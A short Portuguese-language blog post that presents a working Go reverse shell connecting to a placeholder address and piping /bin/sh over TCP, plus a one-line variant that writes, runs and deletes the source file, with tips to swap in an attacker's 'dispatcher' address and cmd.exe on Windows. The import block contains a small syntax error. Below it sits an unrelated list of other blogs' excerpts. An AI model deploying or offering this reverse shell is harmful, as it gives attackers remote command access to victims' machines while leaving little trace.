umgeher's changelog

golang: reverse shell

Um reverse shell em Golang super simples:

package main

import (
  "net"
  "os/exec"
}

func main() {
	c, _ := net.Dial("tcp","127.0.0.1:8222")
	cmd := exec.Command("/bin/sh")
	cmd.Stdin = c
	cmd.Stdout = c
	cmd.Stderr = c
	cmd.Run()
}

Claro, troque o IP e a porta para seu dispatcher.

Voce ainda pode minimizar e ter o reverse shell em “uma linha”.

echo 'package main;import"net";import"os/exec";func main(){c,_:=net.Dial("tcp","127.0.0.1:8222");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > rs.go && go run rs.go && rm rs.go

Eu nao testei, mas acredito que funcione no windows, troque o /bin/sh para cmd.exe e teste.

Articles from blogs I follow around the net

Game of Trees 0.107 released

Version 0.107 of Game of Trees has been released (and the port updated): gotwebd.css styling tweaks hide ssh debug output during fetch/send -v, keep showing it at -vv and -vvv discern mixed-commit worktree diffs with commit ID headers gotwebd: avoid printf("…

via OpenBSD Journal 2024-12-30 03:57

How to force a Linux device to boot from USB when the GPU is dead and you can't do it from the BIOS

tl;dr: use efibootmgr Let's say you have a Kingston DataTraveler with a Linux ISO on it and want to boot from it, but your GPU is broken or something and you can't view output. Here's what you do: List the potential boot …

via Xe Iaso's blog 2024-12-28 00:00

Systemd journald cheatsheet

# Introduction This blog post is part of a series that will be about Systemd ecosystem, today's focus is on journaling. Systemd got a regrettable reputation since its arrival mid 2010. I think this is due to Systemd being radically different than t…

via Solene'% 2024-12-25 00:00

Generated by openring